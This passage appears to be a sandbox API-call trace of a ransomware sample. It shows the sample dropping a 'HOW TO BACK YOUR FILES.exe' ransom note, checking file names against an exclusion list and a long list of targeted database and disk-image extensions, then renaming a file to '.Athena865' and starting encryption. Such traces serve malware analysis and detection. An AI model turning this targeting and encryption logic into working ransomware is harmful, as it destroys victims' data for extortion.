returned 1 [0099.561] lstrlenW (lpString="Tablet PC") returned 9 [0099.561] lstrcpyW (in: lpString1=0x241e88e, lpString2="Tablet PC" | out: lpString1="Tablet PC") returned="Tablet PC" [0099.561] SetFileAttributesW (lpFileName="C:\\ProgramData\\Start Menu\\Programs\\Tablet PC", dwFileAttributes=0x12) returned 1 [0099.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52bf20 [0099.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5a) returned 0x524498 [0099.561] lstrcatW (in: lpString1="Tablet PC", lpString2="\\" | out: lpString1="Tablet PC\\") returned="Tablet PC\\" [0099.561] lstrcatW (in: lpString1="Tablet PC\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Tablet PC\\HOW TO BACK YOUR FILES.exe") returned="Tablet PC\\HOW TO BACK YOUR FILES.exe" [0099.561] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Start Menu\\Programs\\Tablet PC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\start menu\\programs\\tablet pc\\how to back your files.exe"), bFailIfExists=1) returned 1 [0099.563] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b186991, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8b186991, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8b186991, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x548, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Anytime Upgrade.lnk", cAlternateFileName="WINDOW~3.LNK")) returned 1 [0099.563] lstrcmpiW (lpString1="Windows Anytime Upgrade.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0099.563] lstrcmpiW (lpString1="Windows Anytime Upgrade.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.564] lstrcmpiW (lpString1="Windows Anytime Upgrade.lnk", lpString2=".") returned 1 [0099.564] lstrcmpiW (lpString1="Windows Anytime Upgrade.lnk", lpString2="..") returned 1 [0099.564] lstrcmpiW (lpString1="Windows Anytime Upgrade.lnk", lpString2="windows") returned 1 [0099.564] lstrcmpiW (lpString1="Windows Anytime Upgrade.lnk", lpString2="bootmgr") returned 1 [0099.564] lstrcmpiW (lpString1="Windows Anytime Upgrade.lnk", lpString2="temp") returned 1 [0099.564] lstrcmpiW (lpString1="Windows Anytime Upgrade.lnk", lpString2="pagefile.sys") returned 1 [0099.564] lstrcmpiW (lpString1="Windows Anytime Upgrade.lnk", lpString2="boot") returned 1 [0099.564] lstrcmpiW (lpString1="Windows Anytime Upgrade.lnk", lpString2="ids.txt") returned 1 [0099.564] lstrcmpiW (lpString1="Windows Anytime Upgrade.lnk", lpString2="ntuser.dat") returned 1 [0099.564] lstrcmpiW (lpString1="Windows Anytime Upgrade.lnk", lpString2="perflogs") returned 1 [0099.564] lstrcmpiW (lpString1="Windows Anytime Upgrade.lnk", lpString2="MSBuild") returned 1 [0099.564] lstrlenW (lpString="Windows Anytime Upgrade.lnk") returned 27 [0099.564] lstrcpyW (in: lpString1=0x241e88e, lpString2="Windows Anytime Upgrade.lnk" | out: lpString1="Windows Anytime Upgrade.lnk") returned="Windows Anytime Upgrade.lnk" [0099.564] lstrlenW (lpString="Windows Anytime Upgrade.lnk") returned 27 [0099.564] lstrlenW (lpString="Athena865") returned 9 [0099.564] lstrcmpiW (lpString1="grade.lnk", lpString2="Athena865") returned 1 [0099.564] lstrlenW (lpString=".dll") returned 4 [0099.564] lstrcmpiW (lpString1="Windows Anytime Upgrade.lnk", lpString2=".dll") returned 1 [0099.564] lstrlenW (lpString=".lnk") returned 4 [0099.564] lstrcmpiW (lpString1="Windows Anytime Upgrade.lnk", lpString2=".lnk") returned 1 [0099.564] lstrlenW (lpString=".ini") returned 4 [0099.564] lstrcmpiW (lpString1="Windows Anytime Upgrade.lnk", lpString2=".ini") returned 1 [0099.564] lstrlenW (lpString=".sys") returned 4 [0099.564] lstrcmpiW (lpString1="Windows Anytime Upgrade.lnk", lpString2=".sys") returned 1 [0099.564] lstrlenW (lpString="Windows Anytime Upgrade.lnk") returned 27 [0099.564] lstrlenW (lpString="bak") returned 3 [0099.564] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0099.564] lstrlenW (lpString="ba_") returned 3 [0099.564] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0099.564] lstrlenW (lpString="dbb") returned 3 [0099.564] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0099.565] lstrlenW (lpString="vmdk") returned 4 [0099.565] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0099.565] lstrlenW (lpString="rar") returned 3 [0099.565] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0099.565] lstrlenW (lpString="zip") returned 3 [0099.565] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0099.565] lstrlenW (lpString="tgz") returned 3 [0099.565] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0099.565] lstrlenW (lpString="vbox") returned 4 [0099.565] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0099.565] lstrlenW (lpString="vdi") returned 3 [0099.565] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0099.565] lstrlenW (lpString="vhd") returned 3 [0099.565] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0099.565] lstrlenW (lpString="vhdx") returned 4 [0099.565] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0099.565] lstrlenW (lpString="avhd") returned 4 [0099.565] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0099.565] lstrlenW (lpString="db") returned 2 [0099.565] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0099.565] lstrlenW (lpString="db2") returned 3 [0099.565] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0099.565] lstrlenW (lpString="db3") returned 3 [0099.565] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0099.565] lstrlenW (lpString="dbf") returned 3 [0099.565] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0099.565] lstrlenW (lpString="mdf") returned 3 [0099.565] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0099.565] lstrlenW (lpString="mdb") returned 3 [0099.565] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0099.565] lstrlenW (lpString="sql") returned 3 [0099.565] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0099.566] lstrlenW (lpString="sqlite") returned 6 [0099.566] lstrcmpiW (lpString1="de.lnk", lpString2="sqlite") returned -1 [0099.566] lstrlenW (lpString="sqlite3") returned 7 [0099.566] lstrcmpiW (lpString1="ade.lnk", lpString2="sqlite3") returned -1 [0099.566] lstrlenW (lpString="sqlitedb") returned 8 [0099.566] lstrcmpiW (lpString1="rade.lnk", lpString2="sqlitedb") returned -1 [0099.566] lstrlenW (lpString="xml") returned 3 [0099.566] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0099.566] lstrlenW (lpString="$er") returned 3 [0099.566] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0099.566] lstrlenW (lpString="4dd") returned 3 [0099.566] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0099.566] lstrlenW (lpString="4dl") returned 3 [0099.566] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0099.566] lstrlenW (lpString="^^^") returned 3 [0099.566] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0099.566] lstrlenW (lpString="abs") returned 3 [0099.566] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0099.566] lstrlenW (lpString="abx") returned 3 [0099.566] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0099.566] lstrlenW (lpString="accdb") returned 5 [0099.566] lstrcmpiW (lpString1="e.lnk", lpString2="accdb") returned 1 [0099.566] lstrlenW (lpString="accdc") returned 5 [0099.566] lstrcmpiW (lpString1="e.lnk", lpString2="accdc") returned 1 [0099.566] lstrlenW (lpString="accde") returned 5 [0099.566] lstrcmpiW (lpString1="e.lnk", lpString2="accde") returned 1 [0099.566] lstrlenW (lpString="accdr") returned 5 [0099.566] lstrcmpiW (lpString1="e.lnk", lpString2="accdr") returned 1 [0099.566] lstrlenW (lpString="accdt") returned 5 [0099.566] lstrcmpiW (lpString1="e.lnk", lpString2="accdt") returned 1 [0099.566] lstrlenW (lpString="accdw") returned 5 [0099.567] lstrcmpiW (lpString1="e.lnk", lpString2="accdw") returned 1 [0099.567] lstrlenW (lpString="accft") returned 5 [0099.567] lstrcmpiW (lpString1="e.lnk", lpString2="accft") returned 1 [0099.567] lstrlenW (lpString="adb") returned 3 [0099.567] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0099.567] lstrlenW (lpString="adb") returned 3 [0099.567] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0099.567] lstrlenW (lpString="ade") returned 3 [0099.567] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0099.567] lstrlenW (lpString="adf") returned 3 [0099.567] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0099.567] lstrlenW (lpString="adn") returned 3 [0099.567] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0099.567] lstrlenW (lpString="adp") returned 3 [0099.567] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0099.567] lstrlenW (lpString="alf") returned 3 [0099.567] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0099.567] lstrlenW (lpString="ask") returned 3 [0099.567] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0099.567] lstrlenW (lpString="btr") returned 3 [0099.567] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0099.567] lstrlenW (lpString="cat") returned 3 [0099.567] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0099.567] lstrlenW (lpString="cdb") returned 3 [0099.567] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0099.567] lstrlenW (lpString="ckp") returned 3 [0099.567] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0099.567] lstrlenW (lpString="cma") returned 3 [0099.567] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0099.567] lstrlenW (lpString="cpd") returned 3 [0099.567] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0099.567] lstrlenW (lpString="dacpac") returned 6 [0099.568] lstrcmpiW (lpString1="de.lnk", lpString2="dacpac") returned 1 [0099.568] lstrlenW (lpString="dad") returned 3 [0099.568] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0099.568] lstrlenW (lpString="dadiagrams") returned 10 [0099.568] lstrcmpiW (lpString1="pgrade.lnk", lpString2="dadiagrams") returned 1 [0099.568] lstrlenW (lpString="daschema") returned 8 [0099.568] lstrcmpiW (lpString1="rade.lnk", lpString2="daschema") returned 1 [0099.568] lstrlenW (lpString="db-journal") returned 10 [0099.568] lstrcmpiW (lpString1="pgrade.lnk", lpString2="db-journal") returned 1 [0099.568] lstrlenW (lpString="db-shm") returned 6 [0099.568] lstrcmpiW (lpString1="de.lnk", lpString2="db-shm") returned 1 [0099.568] lstrlenW (lpString="db-wal") returned 6 [0099.568] lstrcmpiW (lpString1="de.lnk", lpString2="db-wal") returned 1 [0099.568] lstrlenW (lpString="dbc") returned 3 [0099.568] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0099.568] lstrlenW (lpString="dbs") returned 3 [0099.568] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0099.568] lstrlenW (lpString="dbt") returned 3 [0099.568] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0099.568] lstrlenW (lpString="dbv") returned 3 [0099.568] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0099.568] lstrlenW (lpString="dbx") returned 3 [0099.568] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0099.568] lstrlenW (lpString="dcb") returned 3 [0099.568] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0099.568] lstrlenW (lpString="dct") returned 3 [0099.568] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0099.568] lstrlenW (lpString="dcx") returned 3 [0099.568] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0099.568] lstrlenW (lpString="ddl") returned 3 [0099.568] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0099.569] lstrlenW (lpString="dlis") returned 4 [0099.569] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0099.569] lstrlenW (lpString="dp1") returned 3 [0099.569] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0099.569] lstrlenW (lpString="dqy") returned 3 [0099.569] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0099.569] lstrlenW (lpString="dsk") returned 3 [0099.569] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0099.569] lstrlenW (lpString="dsn") returned 3 [0099.569] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0099.569] lstrlenW (lpString="dtsx") returned 4 [0099.569] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0099.569] lstrlenW (lpString="dxl") returned 3 [0099.569] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0099.569] lstrlenW (lpString="eco") returned 3 [0099.569] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0099.569] lstrlenW (lpString="ecx") returned 3 [0099.569] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0099.569] lstrlenW (lpString="edb") returned 3 [0099.569] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0099.569] lstrlenW (lpString="epim") returned 4 [0099.569] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0099.569] lstrlenW (lpString="fcd") returned 3 [0099.569] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0099.569] lstrlenW (lpString="fdb") returned 3 [0099.569] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0099.569] lstrlenW (lpString="fic") returned 3 [0099.569] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0099.569] lstrlenW (lpString="flexolibrary") returned 12 [0099.569] lstrcmpiW (lpString1=" Upgrade.lnk", lpString2="flexolibrary") returned -1 [0099.569] lstrlenW (lpString="fm5") returned 3 [0099.569] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0099.570] lstrlenW (lpString="fmp") returned 3 [0099.570] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0099.570] lstrlenW (lpString="fmp12") returned 5 [0099.570] lstrcmpiW (lpString1="e.lnk", lpString2="fmp12") returned -1 [0099.570] lstrlenW (lpString="fmpsl") returned 5 [0099.570] lstrcmpiW (lpString1="e.lnk", lpString2="fmpsl") returned -1 [0099.570] lstrlenW (lpString="fol") returned 3 [0099.570] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0099.570] lstrlenW (lpString="fp3") returned 3 [0099.570] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0099.570] lstrlenW (lpString="fp4") returned 3 [0099.570] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0099.570] lstrlenW (lpString="fp5") returned 3 [0099.570] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0099.570] lstrlenW (lpString="fp7") returned 3 [0099.570] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0099.570] lstrlenW (lpString="fpt") returned 3 [0099.570] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0099.570] lstrlenW (lpString="frm") returned 3 [0099.570] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0099.570] lstrlenW (lpString="gdb") returned 3 [0099.570] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0099.570] lstrlenW (lpString="gdb") returned 3 [0099.570] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0099.570] lstrlenW (lpString="grdb") returned 4 [0099.570] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0099.570] lstrlenW (lpString="gwi") returned 3 [0099.570] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0099.570] lstrlenW (lpString="hdb") returned 3 [0099.570] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0099.570] lstrlenW (lpString="his") returned 3 [0099.571] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0099.571] lstrlenW (lpString="ib") returned 2 [0099.571] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0099.571] lstrlenW (lpString="idb") returned 3 [0099.571] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0099.571] lstrlenW (lpString="ihx") returned 3 [0099.571] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0099.571] lstrlenW (lpString="itdb") returned 4 [0099.571] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0099.571] lstrlenW (lpString="itw") returned 3 [0099.571] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0099.571] lstrlenW (lpString="jet") returned 3 [0099.571] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0099.571] lstrlenW (lpString="jtx") returned 3 [0099.571] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0099.571] lstrlenW (lpString="kdb") returned 3 [0099.571] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0099.571] lstrlenW (lpString="kexi") returned 4 [0099.571] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0099.571] lstrlenW (lpString="kexic") returned 5 [0099.571] lstrcmpiW (lpString1="e.lnk", lpString2="kexic") returned -1 [0099.571] lstrlenW (lpString="kexis") returned 5 [0099.571] lstrcmpiW (lpString1="e.lnk", lpString2="kexis") returned -1 [0099.571] lstrlenW (lpString="lgc") returned 3 [0099.571] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0099.571] lstrlenW (lpString="lwx") returned 3 [0099.571] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0099.571] lstrlenW (lpString="maf") returned 3 [0099.571] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0099.571] lstrlenW (lpString="maq") returned 3 [0099.571] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0099.572] lstrlenW (lpString="mar") returned 3 [0099.572] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0099.572] lstrlenW (lpString="marshal") returned 7 [0099.572] lstrcmpiW (lpString1="ade.lnk", lpString2="marshal") returned -1 [0099.572] lstrlenW (lpString="mas") returned 3 [0099.572] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0099.572] lstrlenW (lpString="mav") returned 3 [0099.572] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0099.572] lstrlenW (lpString="maw") returned 3 [0099.572] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0099.572] lstrlenW (lpString="mdbhtml") returned 7 [0099.572] lstrcmpiW (lpString1="ade.lnk", lpString2="mdbhtml") returned -1 [0099.572] lstrlenW (lpString="mdn") returned 3 [0099.572] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0099.572] lstrlenW (lpString="mdt") returned 3 [0099.572] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0099.572] lstrlenW (lpString="mfd") returned 3 [0099.572] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0099.572] lstrlenW (lpString="mpd") returned 3 [0099.572] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0099.572] lstrlenW (lpString="mrg") returned 3 [0099.572] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0099.572] lstrlenW (lpString="mud") returned 3 [0099.572] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0099.572] lstrlenW (lpString="mwb") returned 3 [0099.572] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0099.572] lstrlenW (lpString="myd") returned 3 [0099.572] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0099.572] lstrlenW (lpString="ndf") returned 3 [0099.572] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0099.572] lstrlenW (lpString="nnt") returned 3 [0099.573] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0099.573] lstrlenW (lpString="nrmlib") returned 6 [0099.573] lstrcmpiW (lpString1="de.lnk", lpString2="nrmlib") returned -1 [0099.573] lstrlenW (lpString="ns2") returned 3 [0099.573] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0099.573] lstrlenW (lpString="ns3") returned 3 [0099.573] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0099.573] lstrlenW (lpString="ns4") returned 3 [0099.573] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0099.573] lstrlenW (lpString="nsf") returned 3 [0099.573] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0099.573] lstrlenW (lpString="nv") returned 2 [0099.573] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0099.573] lstrlenW (lpString="nv2") returned 3 [0099.573] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0099.573] lstrlenW (lpString="nwdb") returned 4 [0099.573] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0099.573] lstrlenW (lpString="nyf") returned 3 [0099.573] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0099.573] lstrlenW (lpString="odb") returned 3 [0099.573] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0099.573] lstrlenW (lpString="odb") returned 3 [0099.573] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0099.573] lstrlenW (lpString="oqy") returned 3 [0099.573] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0099.573] lstrlenW (lpString="ora") returned 3 [0099.573] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0099.573] lstrlenW (lpString="orx") returned 3 [0099.573] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0099.573] lstrlenW (lpString="owc") returned 3 [0099.573] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0099.573] lstrlenW (lpString="p96") returned 3 [0099.574] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0099.574] lstrlenW (lpString="p97") returned 3 [0099.574] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0099.574] lstrlenW (lpString="pan") returned 3 [0099.574] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0099.574] lstrlenW (lpString="pdb") returned 3 [0099.574] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0099.574] lstrlenW (lpString="pdm") returned 3 [0099.574] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0099.574] lstrlenW (lpString="pnz") returned 3 [0099.574] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0099.574] lstrlenW (lpString="qry") returned 3 [0099.574] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0099.574] lstrlenW (lpString="qvd") returned 3 [0099.574] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0099.574] lstrlenW (lpString="rbf") returned 3 [0099.574] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0099.574] lstrlenW (lpString="rctd") returned 4 [0099.574] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0099.574] lstrlenW (lpString="rod") returned 3 [0099.574] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0099.574] lstrlenW (lpString="rodx") returned 4 [0099.574] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0099.574] lstrlenW (lpString="rpd") returned 3 [0099.574] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0099.574] lstrlenW (lpString="rsd") returned 3 [0099.574] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0099.574] lstrlenW (lpString="sas7bdat") returned 8 [0099.574] lstrcmpiW (lpString1="rade.lnk", lpString2="sas7bdat") returned -1 [0099.574] lstrlenW (lpString="sbf") returned 3 [0099.574] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0099.574] lstrlenW (lpString="scx") returned 3 [0099.575] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0099.575] lstrlenW (lpString="sdb") returned 3 [0099.575] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0099.575] lstrlenW (lpString="sdc") returned 3 [0099.575] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0099.575] lstrlenW (lpString="sdf") returned 3 [0099.575] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0099.575] lstrlenW (lpString="sis") returned 3 [0099.575] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0099.575] lstrlenW (lpString="spq") returned 3 [0099.575] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0099.575] lstrlenW (lpString="te") returned 2 [0099.575] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0099.575] lstrlenW (lpString="teacher") returned 7 [0099.575] lstrcmpiW (lpString1="ade.lnk", lpString2="teacher") returned -1 [0099.575] lstrlenW (lpString="tmd") returned 3 [0099.575] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0099.575] lstrlenW (lpString="tps") returned 3 [0099.575] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0099.575] lstrlenW (lpString="trc") returned 3 [0099.575] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0099.575] lstrlenW (lpString="trc") returned 3 [0099.575] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0099.575] lstrlenW (lpString="trm") returned 3 [0099.575] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0099.575] lstrlenW (lpString="udb") returned 3 [0099.575] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0099.575] lstrlenW (lpString="udl") returned 3 [0099.575] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0099.575] lstrlenW (lpString="usr") returned 3 [0099.575] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0099.575] lstrlenW (lpString="v12") returned 3 [0099.576] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0099.576] lstrlenW (lpString="vis") returned 3 [0099.576] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0099.576] lstrlenW (lpString="vpd") returned 3 [0099.576] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0099.576] lstrlenW (lpString="vvv") returned 3 [0099.576] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0099.576] lstrlenW (lpString="wdb") returned 3 [0099.576] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0099.576] lstrlenW (lpString="wmdb") returned 4 [0099.576] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0099.576] lstrlenW (lpString="wrk") returned 3 [0099.576] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0099.576] lstrlenW (lpString="xdb") returned 3 [0099.576] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0099.576] lstrlenW (lpString="xld") returned 3 [0099.576] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0099.576] lstrlenW (lpString="xmlff") returned 5 [0099.576] lstrcmpiW (lpString1="e.lnk", lpString2="xmlff") returned -1 [0099.576] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk.Athena865") returned 72 [0099.576] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk" (normalized: "c:\\programdata\\start menu\\programs\\windows anytime upgrade.lnk"), lpNewFileName="C:\\ProgramData\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\programs\\windows anytime upgrade.lnk.athena865"), dwFlags=0x1) returned 1 [0099.578] CreateFileW (lpFileName="C:\\ProgramData\\Start Menu\\Programs\\Windows Anytime Upgrade.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\programs\\windows anytime upgrade.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0099.578] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1352) returned 1 [0099.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.578] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | 